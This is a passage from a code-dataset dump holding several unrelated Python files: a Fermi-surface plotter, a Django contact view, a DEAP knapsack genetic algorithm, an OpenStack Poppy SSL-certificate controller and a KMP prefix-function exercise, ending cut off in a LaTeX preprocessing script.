mlab = False\n\n_plotly_high_sym_label_style = {\n \"mode\": \"markers+text\",\n \"marker\": {\"size\": 5, \"color\": \"black\"},\n \"name\": \"Markers and Text\",\n \"textposition\": \"bottom center\",\n}\n\n_mayavi_high_sym_label_style = {\n \"color\": (0, 0, 0),\n \"scale\": 0.1,\n \"orientation\": (90.0, 0.0, 0.0),\n}\n\n_plotly_scene = dict(\n xaxis=dict(\n backgroundcolor=\"rgb(255, 255, 255)\",\n title=\"\",\n showgrid=False,\n zeroline=False,\n showline=False,\n ticks=\"\",\n showticklabels=False,\n ),\n yaxis=dict(\n backgroundcolor=\"rgb(255, 255, 255)\",\n title=\"\",\n showgrid=False,\n zeroline=False,\n showline=False,\n ticks=\"\",\n showticklabels=False,\n ),\n zaxis=dict(\n backgroundcolor=\"rgb(255, 255, 255)\",\n title=\"\",\n showgrid=False,\n zeroline=False,\n showline=False,\n ticks=\"\",\n showticklabels=False,\n ),\n)\n\n_mayavi_rs_style = {\n \"color\": (0.0, 0.0, 0.0),\n \"tube_radius\": 0.005,\n \"representation\": \"surface\",\n}\n\n\nclass FSPlotter(MSONable):\n \"\"\"\n Class to plot FermiSurface.\n \"\"\"\n\n def __init__(self, fermi_surface: FermiSurface):\n \"\"\"\n Args:\n fermi_surface: A FermiSurface object.\n \"\"\"\n self.fermi_surface = fermi_surface\n self.reciprocal_space = fermi_surface.reciprocal_space\n self.rlat = self.reciprocal_space.reciprocal_lattice\n self._symmetry_pts = self.get_symmetry_points(fermi_surface)\n\n @staticmethod\n def get_symmetry_points(fermi_surface) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Get the high symmetry k-points and labels for the Fermi surface.\n\n Args:\n fermi_surface: A fermi surface.\n\n Returns:\n The high symmetry k-points and labels.\n \"\"\"\n kpoints, labels = [], []\n hskp = HighSymmKpath(fermi_surface.structure)\n all_kpoints, all_labels = hskp.get_kpoints(coords_are_cartesian=False)\n\n for kpoint, label in zip(all_kpoints, all_labels):\n if not len(label) == 0:\n kpoints.append(kpoint)\n labels.append(label)\n\n if isinstance(fermi_surface.reciprocal_space, ReciprocalCell):\n kpoints = kpoints_to_first_bz(np.array(kpoints))\n\n kpoints = np.dot(kpoints, fermi_surface.reciprocal_space.reciprocal_lattice)\n return kpoints, labels\n\n def plot(\n self,\n plot_type: str = \"plotly\",\n interactive: bool = True,\n filename: str = \"fermi_surface.png\",\n **plot_kwargs,\n ):\n \"\"\"\n Plot the Fermi surface and save the image to a file.\n\n Args:\n plot_type: Method used for plotting. Valid options are: \"matplotlib\",\n \"plotly\", \"mayavi\".\n interactive: Whether to enable interactive plots.\n filename: Output filename.\n **plot_kwargs: Other keyword arguments supported by the individual plotting\n methods.\n \"\"\"\n if plot_type == \"mpl\":\n self.plot_matplotlib(\n filename=filename, interactive=interactive, **plot_kwargs\n )\n elif plot_type == \"plotly\":\n self.plot_plotly(filename=filename, interactive=interactive, **plot_kwargs)\n elif plot_type == \"mayavi\":\n self.plot_mayavi(filename=filename, interactive=interactive, **plot_kwargs)\n else:\n types = [\"mpl\", \"plotly\", \"mayavi\"]\n raise ValueError(\n \"Plot type not recognised, valid options: {}\".format(types)\n )\n\n def plot_matplotlib(\n self,\n interactive: bool = True,\n bz_linewidth: float = 0.9,\n colors: Optional[List[Any]] = None,\n title: str = None,\n filename: str = \"fermi_surface.png\",\n ):\n \"\"\"\n Plot the Fermi surface using matplotlib.\n\n Args:\n interactive: Whether to enable interactive plots.\n bz_linewidth: Brillouin zone line width.\n colors: Colors used for Fermi surfaces.\n title: The title of the plot.\n filename: The output file name.\n \"\"\"\n import matplotlib.pyplot as plt\n from mpl_toolkits.mplot3d.art3d import Line3DCollection\n\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111, projection=\"3d\")\n\n if colors is None:\n colors = plt.cm.Set1(np.linspace(0, 1, self.fermi_surface.n_surfaces))\n\n # create a mesh for each electron band which has an isosurfaces at the Fermi\n # energy mesh data is generated by a marching cubes algorithm when the\n # FermiSurface object is created.\n for c, (verts, faces) in zip(colors, self.fermi_surface.isosurfaces):\n x, y, z = zip(*verts)\n ax.plot_trisurf(x, y, faces, z, facecolor=c, lw=1)\n\n # add the cell outline to the plot\n corners = self.reciprocal_space.faces\n lines = Line3DCollection(corners, colors=\"k\", linewidths=bz_linewidth)\n ax.add_collection3d(lines)\n\n for coords, label in zip(*self._symmetry_pts):\n ax.scatter(*coords, s=10, c=\"k\")\n ax.text(*coords, label, size=15, zorder=1)\n\n if title is not None:\n plt.title(title)\n\n rlat_lengths = np.linalg.norm(self.rlat, axis=1)\n if isinstance(self.reciprocal_space, ReciprocalCell):\n xlim, ylim, zlim = rlat_lengths / 2\n ax.set(xlim=(-xlim, xlim), ylim=(-ylim, ylim), zlim=(-zlim, zlim))\n else:\n xlim, ylim, zlim = rlat_lengths\n ax.set(xlim=(0, xlim), ylim=(0, ylim), zlim=(0, zlim))\n\n ax.axis(\"off\")\n plt.tight_layout()\n\n if interactive:\n plt.show()\n else:\n plt.savefig(filename, dpi=300)\n\n @requires(plotly, \"plotly option requires plotly to be installed.\")\n def plot_plotly(\n self, interactive: bool = True, filename: str = \"fermi_surface.png\",\n ):\n \"\"\"\n Plot the Fermi surface using plotly.\n\n Args:\n interactive: Whether to enable interactive plots.\n filename: The output file name.\n \"\"\"\n from plotly.offline import init_notebook_mode, plot\n import plotly.graph_objs as go\n\n init_notebook_mode(connected=True)\n colors = cl.scales[\"11\"][\"qual\"][\"Set3\"]\n\n # create a mesh for each electron band which has an isosurfaces at the Fermi\n # energy mesh data is generated by a marching cubes algorithm when the\n # FermiSurface object is created.\n meshes = []\n for c, (verts, faces) in zip(colors, self.fermi_surface.isosurfaces):\n x, y, z = zip(*verts)\n i, j, k = ([triplet[c] for triplet in faces] for c in range(3))\n trace = go.Mesh3d(x=x, y=y, z=z, color=c, opacity=1, i=i, j=j, k=k)\n meshes.append(trace)\n\n # add the cell outline to the plot\n for facet in self.reciprocal_space.faces:\n x, y, z = zip(*facet)\n line = dict(color=\"black\", width=3)\n trace = go.Scatter3d(x=x, y=y, z=z, mode=\"lines\", line=line)\n meshes.append(trace)\n\n # plot high symmetry labels\n labels = [i.replace(r\"\\Gamma\", \"\\u0393\") for i in self._symmetry_pts[1]]\n x, y, z = zip(*self._symmetry_pts[0])\n trace = go.Scatter3d(x=x, y=y, z=z, **_plotly_high_sym_label_style)\n meshes.append(trace)\n\n annotations = []\n for label, (x, y, z) in zip(labels, self._symmetry_pts[0]):\n # annotations always appear on top of the plot\n style = dict(xshift=10, yshift=10, text=label, showarrow=False)\n annotations.append(dict(x=x, y=y, z=z, **style))\n scene = _plotly_scene.copy()\n scene[\"annotations\"] = annotations\n\n # Specify plot parameters\n layout = go.Layout(\n scene=scene,\n showlegend=False,\n title=go.layout.Title(text=\"\", xref=\"paper\", x=0),\n )\n fig = go.Figure(data=meshes, layout=layout)\n\n if interactive:\n plot(fig, include_mathjax=\"cdn\")\n else:\n plotly.io.write_image(\n fig, str(filename), format=\"pdf\", width=600, height=600, scale=5\n )\n\n @requires(mlab, \"mayavi option requires mayavi to be installed.\")\n def plot_mayavi(\n self,\n interactive: bool = True,\n colors: Optional[List[Any]] = None,\n filename: str = \"fermi_surface.png\",\n ):\n \"\"\"\n Plot the Fermi surface using mayavi.\n\n Args:\n interactive: Whether to enable interactive plots.\n colors: The colors used for the plot.\n filename: The output file name.\n \"\"\"\n from mlabtex import mlabtex\n\n mlab.figure(figure=None, bgcolor=(1, 1, 1), size=(800, 800))\n\n for facet in self.reciprocal_space.faces:\n x, y, z = zip(*facet)\n mlab.plot3d(x, y, z, **_mayavi_rs_style)\n\n if not colors:\n colors = np.random.random((20, 3))\n\n for c, (verts, faces) in zip(colors, self.fermi_surface.isosurfaces):\n x, y, z = zip(*verts)\n mlab.triangular_mesh(x, y, z, faces, color=tuple(c), opacity=0.7)\n\n # latexify labels\n labels = [\"${}$\".format(i) for i in self._symmetry_pts[1]]\n for coords, label in zip(self._symmetry_pts[0], labels):\n mlabtex(*coords, label, **_mayavi_high_sym_label_style)\n\n if isinstance(self.reciprocal_space, ReciprocalCell):\n mlab.view(azimuth=0, elevation=60, distance=12)\n else:\n mlab.view(azimuth=235, elevation=60, distance=12)\n\n if interactive:\n mlab.show()\n else:\n mlab.savefig(str(filename), figure=mlab.gcf())\n\n\nclass FSPlotter2D(object):\n def __init__(self, fs: FermiSurface, plane_orig, plane_norm):\n\n self._plane_orig = plane_orig\n self._plane_norm = plane_norm\n self._fs = fs\n\n def fs2d_plot_data(self, plot_type=\"mpl\"):\n import meshcut\n\n plane_orig = self._plane_orig\n plane_norm = self._plane_norm\n\n plane = meshcut.Plane(plane_orig, plane_norm)\n\n if plot_type == \"mayavi\":\n\n mlab.figure(figure=None, bgcolor=(1, 1, 1), size=(800, 800))\n\n elif plot_type == \"mpl\":\n\n fig = plt.figure()\n\n ax = plt.axes(projection=\"3d\")\n\n for surface in self._fs._iso_surface:\n\n verts = surface[0]\n faces = surface[1]\n\n mesh = meshcut.TriangleMesh(verts, faces)\n\n P = meshcut.cross_section_mesh(mesh, plane)\n\n for p in P:\n p = np.array(p)\n if plot_type == \"mayavi\":\n mlab.plot3d(\n p[:, 0],\n p[:, 1],\n p[:, 2],\n tube_radius=None,\n line_width=3.0,\n color=(0.0, 0.0, 0.0),\n )\n elif plot_type == \"mpl\":\n ax.plot3D(p[:, 0], p[:, 1], p[:, 2], color=\"k\")\n\n if plot_type == \"mayavi\":\n\n mlab.show()\n\n elif plot_type == \"mpl\":\n\n ax.set_xticks([])\n ax.set_yticks([])\n plt.show()\n\n\ndef kpoints_to_first_bz(kpoints: np.ndarray, tol=1e-5) -> np.ndarray:\n \"\"\"Translate fractional k-points to the first Brillouin zone.\n\n I.e. all k-points will have fractional coordinates:\n -0.5 <= fractional coordinates < 0.5\n\n Args:\n kpoints: The k-points in fractional coordinates.\n\n Returns:\n The translated k-points.\n \"\"\"\n kp = kpoints - np.round(kpoints)\n\n # account for small rounding errors for 0.5\n round_dp = int(np.log10(1 / tol))\n krounded = np.round(kp, round_dp)\n\n kp[krounded == -0.5] = 0.5\n return kp\n\n","sub_path":"ifermi/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":12627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"627181684","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.core.mail import send_mail\nfrom .models import Sema\nfrom .forms import ContactForm\nfrom django.contrib.auth.decorators import login_required\nfrom home.models import Topbar, Footer\n\n\n\ndef contact(request):\n topbars = Topbar.objects.order_by('-reload').filter(is_published=True)[:1]\n footers = Footer.objects.order_by('-reload').filter(is_published=True)[:1]\n template = \"contact/contact.html\"\n if request.method == \"POST\":\n form =ContactForm(request.POST)\n\n if form.is_valid():\n form.save()\n messages.success(request, 'Your message has been sent')\n return redirect('contact')\n \n else:\n form = ContactForm()\n \n context ={\n 'topbars': topbars,\n 'footers': footers,\n 'form': form,\n }\n return render(request, template, context)\n \n\n\n\n\n@login_required\ndef sema(request):\n if request.method == 'POST':\n listing_id = request.POST['listing_id']\n listing = request.POST['listing']\n name = request.POST['name']\n email = request.POST['email']\n phone = request.POST['phone']\n message = request.POST['message']\n user_id = request.POST['user_id']\n realtor_email = request.POST['realtor_email']\n\n # Check if user has made inquiry already\n if request.user.is_authenticated:\n user_id = request.user.id\n has_contacted = Sema.objects.all().filter(listing_id=listing_id, user_id=user_id)\n if has_contacted:\n messages.error(request, 'You have already made an inquiry for this listing')\n return redirect('/listings/'+listing_id)\n\n sema = Sema(listing=listing, listing_id=listing_id, name=name, email=email, phone=phone, message=message, user_id=user_id )\n\n sema.save()\n\n # Send email\n # send_mail(\n # 'Property Listing Inquiry',\n # 'There has been an inquiry for ' + listing + '. Sign into the admin panel for more info',\n # 'mfalme2030@gmail.com',\n # [realtor_email, 'mfalme2030@gmail.com'],\n # fail_silently=False\n #)\n\n messages.success(request, 'Your request has been submitted, a realtor will get back to you soon')\n return redirect('/listings/'+listing_id)\n","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"122749016","text":"import random\n\nimport numpy as np\nfrom deap import algorithms\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\n\nIND_INIT_SIZE = 5\nMAX_ITEM = 50\nMAX_WEIGHT = 50\nNUM_ITEMS = 20\n\nrandom.seed(42)\n\nitems = {}\nfor i in range(NUM_ITEMS):\n items[i] = (random.randint(1, 10), random.uniform(0, 100))\n\ncreator.create(\"Fitness\", base.Fitness, weights=(-1.0, 1.0))\ncreator.create(\"Individual\", set, fitness=creator.Fitness)\n\ntoolbox = base.Toolbox()\ntoolbox.register(\"attr_item\", random.randrange, NUM_ITEMS)\ntoolbox.register(\"individual\", tools.initRepeat, creator.Individual, \n toolbox.attr_item, IND_INIT_SIZE)\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n\n\ndef evalKnapsack(individual):\n weight = 0.0\n value = 0.0\n for item in individual:\n weight += items[item][0]\n value += items[item][1]\n if len(individual) > MAX_ITEM or weight > MAX_WEIGHT:\n return 10000, 0\n return weight, value\n\n\ndef cxMySet(ind1, ind2):\n \"\"\"Apply a crossover operation on input sets.\n\n Example\n Parents: {1, 2, 3}, {1, 3, 5}\n AND: {1, 3}\n XOR: {2, 5}\n Candidates of offsprings: {1, 3}, {1, 2, 3}, {1, 3, 5}, {1, 2, 3, 5}\n \"\"\"\n tmp_and = set(ind1) & set(ind2)\n tmp_xor = set(ind1) ^ set(ind2)\n ind1 &= tmp_and\n ind1 ^= set(random.choices(list(tmp_xor),\n k=random.randint(0, len(list(tmp_xor)))))\n ind2 &= tmp_and\n ind2 ^= set(random.choices(list(tmp_xor),\n k=random.randint(0, len(list(tmp_xor)))))\n return ind1, ind2\n\n\ndef mutSet(individual):\n if random.random() < 0.5:\n if len(individual) > 0:\n individual.remove(random.choice(sorted(tuple(individual))))\n else:\n individual.add(random.randrange(NUM_ITEMS))\n return individual,\n\n\ntoolbox.register(\"evaluate\", evalKnapsack)\ntoolbox.register(\"mate\", cxMySet)\ntoolbox.register(\"mutate\", mutSet)\ntoolbox.register(\"select\", tools.selNSGA2)\n\n\ndef main():\n random.seed(42)\n NGEN = 50\n MU = 50\n LAMBDA = 100\n CXPB = 0.7\n MUTPB = 0.2\n\n pop = toolbox.population(n=MU)\n hof = tools.ParetoFront()\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register(\"avg\", np.mean, axis=0)\n stats.register(\"std\", np.std, axis=0)\n stats.register(\"min\", np.min, axis=0)\n stats.register(\"max\", np.max, axis=0)\n\n algorithms.eaMuPlusLambda(pop, toolbox, MU, LAMBDA, CXPB, MUTPB, NGEN, stats,\n halloffame=hof)\n\n return pop, stats, hof\n\n\nif __name__ == \"__main__\":\n pop, stas, hof = main()\n print('Knapsack problem')\n print('Number weight value')\n for k, v in items.items():\n print(f'{k:2} {v[0]:2} {v[1]}')\n print(f'Hall of fame: {hof.items[-1]}')\n","sub_path":"210708/2210104030/ga_knapsack.py","file_name":"ga_knapsack.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"366791726","text":"# Copyright (c) 2014 Rackspace, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\n\nfrom oslo_context import context as context_utils\nfrom oslo_log import log\n\nfrom poppy.common import errors\nfrom poppy.common import util\nfrom poppy.distributed_task.taskflow.flow import create_ssl_certificate\nfrom poppy.distributed_task.taskflow.flow import delete_ssl_certificate\nfrom poppy.distributed_task.taskflow.flow import recreate_ssl_certificate\nfrom poppy.manager import base\nfrom poppy.model.helpers import domain\nfrom poppy.model import ssl_certificate\nfrom poppy.transport.validators import helpers as validators\n\nLOG = log.getLogger(__name__)\n\n\nclass DefaultSSLCertificateController(base.SSLCertificateController):\n\n def __init__(self, manager):\n super(DefaultSSLCertificateController, self).__init__(manager)\n\n self.distributed_task_controller = (\n self._driver.distributed_task.services_controller\n )\n self.storage = self._driver.storage.certificates_controller\n self.service_storage = self._driver.storage.services_controller\n self.flavor_controller = self._driver.storage.flavors_controller\n\n def create_ssl_certificate(\n self, project_id, cert_obj, https_upgrade=False):\n\n if (not validators.is_valid_domain_name(cert_obj.domain_name)) or \\\n (validators.is_root_domain(\n domain.Domain(cert_obj.domain_name).to_dict())) or \\\n (not validators.is_valid_tld(cert_obj.domain_name)):\n # here created a http domain object but it does not matter http or\n # https\n raise ValueError('%s must be a valid non-root domain' %\n cert_obj.domain_name)\n\n try:\n flavor = self.flavor_controller.get(cert_obj.flavor_id)\n # raise a lookup error if the flavor is not found\n except LookupError as e:\n raise e\n\n try:\n self.storage.create_certificate(\n project_id,\n cert_obj\n )\n # ValueError will be raised if the cert_info has already existed\n except ValueError as e:\n raise e\n\n providers = [p.provider_id for p in flavor.providers]\n kwargs = {\n 'providers_list_json': json.dumps(providers),\n 'project_id': project_id,\n 'cert_obj_json': json.dumps(cert_obj.to_dict()),\n 'context_dict': context_utils.get_current().to_dict()\n }\n if https_upgrade is True:\n kwargs['https_upgrade'] = True\n\n self.distributed_task_controller.submit_task(\n create_ssl_certificate.create_ssl_certificate,\n **kwargs)\n return kwargs\n\n def delete_ssl_certificate(self, project_id, domain_name, cert_type):\n cert_obj = self.storage.get_certs_by_domain(\n domain_name, cert_type=cert_type)\n\n try:\n flavor = self.flavor_controller.get(cert_obj.flavor_id)\n # raise a lookup error if the flavor is not found\n except LookupError as e:\n raise e\n\n providers = [p.provider_id for p in flavor.providers]\n kwargs = {\n 'project_id': project_id,\n 'domain_name': domain_name,\n 'cert_type': cert_type,\n 'cert_obj_json': json.dumps(cert_obj.to_dict()),\n 'providers_list_json': json.dumps(providers),\n 'context_dict': context_utils.get_current().to_dict()\n }\n self.distributed_task_controller.submit_task(\n delete_ssl_certificate.delete_ssl_certificate,\n **kwargs)\n return kwargs\n\n def get_certs_info_by_domain(self, domain_name, project_id):\n\n return self.storage.get_certs_by_domain(\n domain_name=domain_name,\n project_id=project_id)\n\n\n def get_san_retry_list(self):\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n res = akamai_driver.mod_san_queue.traverse_queue()\n # For other providers san_retry_list implementation goes here\n else:\n # if not using akamai driver just return an empty list\n return []\n res = [json.loads(r) for r in res]\n return [\n {\"domain_name\": r['domain_name'],\n \"project_id\": r['project_id'],\n \"flavor_id\": r['flavor_id'],\n \"cert_type\": r['cert_type'],\n \"validate_service\": r.get('validate_service', True)}\n for r in res\n ]\n\n def update_san_retry_list(self, queue_data_list):\n for r in queue_data_list:\n service_obj = self.service_storage\\\n .get_service_details_by_domain_name(r['domain_name'])\n if service_obj is None and r.get('validate_service', True):\n raise LookupError(u'Domain {0} does not exist on any service, '\n 'are you sure you want to proceed request, '\n '{1}? You can set validate_service to False '\n 'to retry this san-retry request forcefully'.\n format(r['domain_name'], r))\n\n cert_for_domain = None\n try:\n cert_for_domain = self.storage.get_certs_by_domain(\n r['domain_name'])\n except ValueError:\n LOG.info(\"No matching certificates found for \"\n \"the domain {}\".format(r['domain_name']))\n\n if cert_for_domain:\n if cert_for_domain.get_cert_status() == \"deployed\":\n raise ValueError(u'Cert on {0} already exists'.\n format(r['domain_name']))\n\n\n new_queue_data = [\n json.dumps({'flavor_id': r['flavor_id'],\n 'domain_name': r['domain_name'],\n 'project_id': r['project_id'],\n 'cert_type': r['cert_type'],\n 'validate_service': r.get('validate_service', True)})\n for r in queue_data_list\n ]\n res, deleted = [], []\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n orig = [json.loads(r) for r in\n akamai_driver.mod_san_queue.traverse_queue()]\n res = [json.loads(r) for r in\n akamai_driver.mod_san_queue.put_queue_data(new_queue_data)]\n\n deleted = tuple(x for x in orig if x not in res)\n\n # other provider's retry-list implementation goes here\n return res, deleted\n\n def rerun_san_retry_list(self):\n run_list = []\n ignore_list = []\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n retry_list = []\n while len(akamai_driver.mod_san_queue.mod_san_queue_backend) > 0:\n res = akamai_driver.mod_san_queue.dequeue_mod_san_request()\n retry_list.append(json.loads(res.decode('utf-8')))\n\n retry_list = util.remove_duplicates(retry_list)\n\n # double check in POST. This check should really be first done in\n # PUT\n for r in retry_list:\n err_state = False\n service_obj = self.service_storage\\\n .get_service_details_by_domain_name(r['domain_name'])\n if service_obj is None and r.get('validate_service', True):\n err_state = True\n LOG.error(\n u'Domain {0} does not exist on any service, are you '\n 'sure you want to proceed request, {1}? You can set '\n 'validate_service to False to retry this san-retry '\n 'request forcefully'.format(r['domain_name'], r)\n )\n elif (\n service_obj is not None and\n service_obj.operator_status.lower() == 'disabled'\n ):\n err_state = True\n LOG.error(\n u'The service for domain {0} is disabled.'\n 'No certificates will be created for '\n 'service {1} while it remains in {2} operator_status'\n 'request forcefully'.format(\n r['domain_name'],\n service_obj.service_id,\n service_obj.operator_status\n )\n )\n try:\n cert_for_domain = self.storage.get_certs_by_domain(\n r['domain_name'])\n\n if cert_for_domain.get_cert_status() == \"deployed\":\n err_state = True\n LOG.error(\n u'Certificate on {0} has already been provisioned '\n 'successfully.'.format(r['domain_name']))\n except ValueError:\n LOG.info(\"No matching certificates found for \"\n \"the domain {}\".format(r['domain_name']))\n\n if err_state is False:\n run_list.append(r)\n else:\n ignore_list.append(r)\n if not r.get('validate_service', True):\n # validation is False, send ignored retry_list\n # object back to queue\n akamai_driver.mod_san_queue.enqueue_mod_san_request(\n json.dumps(r)\n )\n LOG.warn(\n \"{0} was skipped because it failed validation.\".format(\n r['domain_name']\n )\n )\n\n for cert_obj_dict in run_list:\n try:\n cert_obj = ssl_certificate.SSLCertificate(\n cert_obj_dict['flavor_id'],\n cert_obj_dict['domain_name'],\n cert_obj_dict['cert_type'],\n project_id=cert_obj_dict['project_id']\n )\n\n try:\n cert_for_domain = (\n self.storage.get_certs_by_domain(\n cert_obj.domain_name,\n project_id=cert_obj.project_id,\n flavor_id=cert_obj.flavor_id,\n cert_type=cert_obj.cert_type))\n\n # If this cert has been deployed through manual\n # process we ignore the rerun process for this entry\n if cert_for_domain.get_cert_status() == 'deployed':\n run_list.remove(cert_obj_dict)\n ignore_list.append(cert_obj_dict)\n continue\n except ValueError:\n LOG.info(\"No matching certificates found for \"\n \"the domain {}\".format(cert_obj.domain_name))\n # rerun the san process\n try:\n flavor = self.flavor_controller.get(cert_obj.flavor_id)\n # raise a lookup error if the flavor is not found\n except LookupError as e:\n raise e\n\n providers = [p.provider_id for p in flavor.providers]\n kwargs = {\n 'project_id': cert_obj.project_id,\n 'domain_name': cert_obj.domain_name,\n 'cert_type': cert_obj.cert_type,\n 'providers_list_json': json.dumps(providers),\n 'cert_obj_json': json.dumps(cert_obj.to_dict()),\n 'enqueue': False,\n 'context_dict': context_utils.RequestContext(\n tenant=cert_obj.project_id\n ).to_dict()\n }\n self.distributed_task_controller.submit_task(\n recreate_ssl_certificate.recreate_ssl_certificate,\n **kwargs)\n except Exception as e:\n # When exception happens we log it and re-queue this\n # request\n LOG.exception(e)\n run_list.remove(cert_obj_dict)\n ignore_list.append(cert_obj_dict)\n akamai_driver.mod_san_queue.enqueue_mod_san_request(\n json.dumps(cert_obj_dict)\n )\n # For other providers post san_retry_list implementation goes here\n else:\n # if not using akamai driver just return summary of run list and\n # ignore list\n pass\n\n return run_list, ignore_list\n\n def get_san_cert_configuration(self, san_cert_name):\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n if san_cert_name not in akamai_driver.san_cert_cnames:\n raise ValueError(\n \"%s is not a valid san cert, valid san certs are: %s\" %\n (san_cert_name, akamai_driver.san_cert_cnames))\n res = akamai_driver.cert_info_storage.get_cert_config(\n san_cert_name\n )\n else:\n # if not using akamai driver just return an empty list\n res = {}\n\n return res\n\n def update_san_cert_configuration(self, san_cert_name, new_cert_config):\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n if san_cert_name not in akamai_driver.san_cert_cnames:\n raise ValueError(\n \"%s is not a valid san cert, valid san certs are: %s\" %\n (san_cert_name, akamai_driver.san_cert_cnames))\n\n # given the spsId, determine the most recent jobId\n # and persist the jobId\n if new_cert_config.get('spsId') is not None:\n resp = akamai_driver.sps_api_client.get(\n akamai_driver.akamai_sps_api_base_url.format(\n spsId=new_cert_config['spsId']\n ),\n )\n if resp.status_code != 200:\n raise RuntimeError(\n 'SPS GET Request failed. Exception: {0}'.format(\n resp.text\n )\n )\n else:\n resp_json = resp.json()\n new_cert_config['jobId'] = (\n resp_json['requestList'][0]['jobId']\n )\n res = akamai_driver.cert_info_storage.update_cert_config(\n san_cert_name, new_cert_config)\n else:\n # if not using akamai driver just return an empty list\n res = {}\n\n return res\n\n def get_sni_cert_configuration(self, cert_name):\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n self._validate_sni_cert_name(akamai_driver, cert_name)\n res = akamai_driver.cert_info_storage.get_sni_cert_info(cert_name)\n else:\n # if not using akamai driver just return an empty list\n res = {}\n\n return res\n\n def update_sni_cert_configuration(self, cert_name, new_cert_config):\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n self._validate_sni_cert_name(akamai_driver, cert_name)\n res = akamai_driver.cert_info_storage.update_sni_cert_config(\n cert_name,\n new_cert_config\n )\n else:\n # if not using akamai driver just return an empty list\n res = {}\n\n return res\n\n def get_san_cert_hostname_limit(self):\n if 'akamai' in self._driver.providers:\n akamai_driver = self._driver.providers['akamai'].obj\n res = akamai_driver.cert_info_storage.get_san_cert_hostname_limit()\n res = {'san_cert_hostname_limit': res}\n else:\n # if not using akamai driver just return an empty list\n res = {'san_cert_hostname_limit': 0}\n\n return res\n\n @staticmethod\n def _validate_sni_cert_name(provider_driver, cert_name):\n if cert_name not in provider_driver.sni_cert_cnames:\n raise ValueError(\n \"{0} is not a valid sni cert, \"\n \"valid sni certs are: {1}\".format(\n cert_name, provider_driver.sni_cert_cnames))\n\n def set_san_cert_hostname_limit(self, request_json):\n if 'akamai' in self._driver.providers:\n try:\n new_limit = request_json['san_cert_hostname_limit']\n except Exception as exc:\n LOG.error(\"Error attempting to update san settings {0}\".format(\n exc\n ))\n raise ValueError('Unknown setting!')\n\n akamai_driver = self._driver.providers['akamai'].obj\n res = akamai_driver.cert_info_storage.set_san_cert_hostname_limit(\n new_limit\n )\n else:\n # if not using akamai driver just return an empty list\n res = 0\n\n return res\n\n def get_certs_by_status(self, status):\n certs_by_status = self.storage.get_certs_by_status(status)\n\n return certs_by_status\n\n def update_certificate_status(self, domain_name, certificate_updates):\n\n certificate_old = self.storage.get_certs_by_domain(domain_name)\n try:\n if (\n certificate_updates.get(\"op\") == \"replace\" and\n certificate_updates.get(\"path\") == \"status\" and\n certificate_updates.get(\"value\") is not None\n ):\n if (\n certificate_old.get_cert_status() !=\n certificate_updates.get(\"value\")\n ):\n new_cert_details = certificate_old.cert_details\n # update the certificate for the first provider akamai\n # this logic changes when multiple certificate providers\n # are supported\n first_provider = list(new_cert_details.keys())[0]\n first_provider_cert_details = (\n list(new_cert_details.values())[0]\n )\n\n first_provider_cert_details[\"extra_info\"][\n \"status\"] = certificate_updates.get(\"value\")\n\n new_cert_details[first_provider] = json.dumps(\n first_provider_cert_details\n )\n\n self.storage.update_certificate(\n certificate_old.domain_name,\n certificate_old.cert_type,\n certificate_old.flavor_id,\n new_cert_details\n )\n except Exception as e:\n LOG.error(\n \"Something went wrong during certificate update: {0}\".format(\n e\n )\n )\n raise errors.CertificateStatusUpdateError(e)\n","sub_path":"poppy/manager/default/ssl_certificate.py","file_name":"ssl_certificate.py","file_ext":"py","file_size_in_byte":20018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"358653835","text":"# PREFIX FUNCTION\ndef prefix(s):\n v = [0]*len(s)\n for i in range(1,len(s)):\n k = v[i-1]\n while k > 0 and s[k] != s[i]:\n k = v[k-1]\n if s[k] == s[i]:\n k = k + 1\n v[i] = k\n return v\ns = 'ANTAN'\nv = prefix(s)\nprint(*v)\n\n# Поиск подстроки в строке. \n# Алгоритм Кнута-Морриса-Пратта\n\nt = 'LETS ANTAN GO SOMEBODY'\n\nv = prefix(s+\"#\"+t)\nprint(*v)\n \n","sub_path":"strings/prefix-functin.py","file_name":"prefix-functin.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"247191716","text":"import os\nimport re\nimport sys\nfrom html import unescape\n\nimport latex2mathml.converter\n\n\ndef read_latex(in_file):\n with open(in_file) as of:\n eqn_lines = of.read()\n\n return eqn_lines.split('\\n\\n')\n\n\ndef process_latex(e):\n while e.startswith('$'):\n e = e[1:]\n\n while e.endswith('$'):\n e = e[:-1]\n\n e = e.replace('\\displaystyle', '')\n e = e.replace(r'\\nonumber', '')\n e = e.replace('&', '')\n e = e.replace('\\!', '')\n e = re.sub(r'([^\\\\])\\$', '\\\\1', 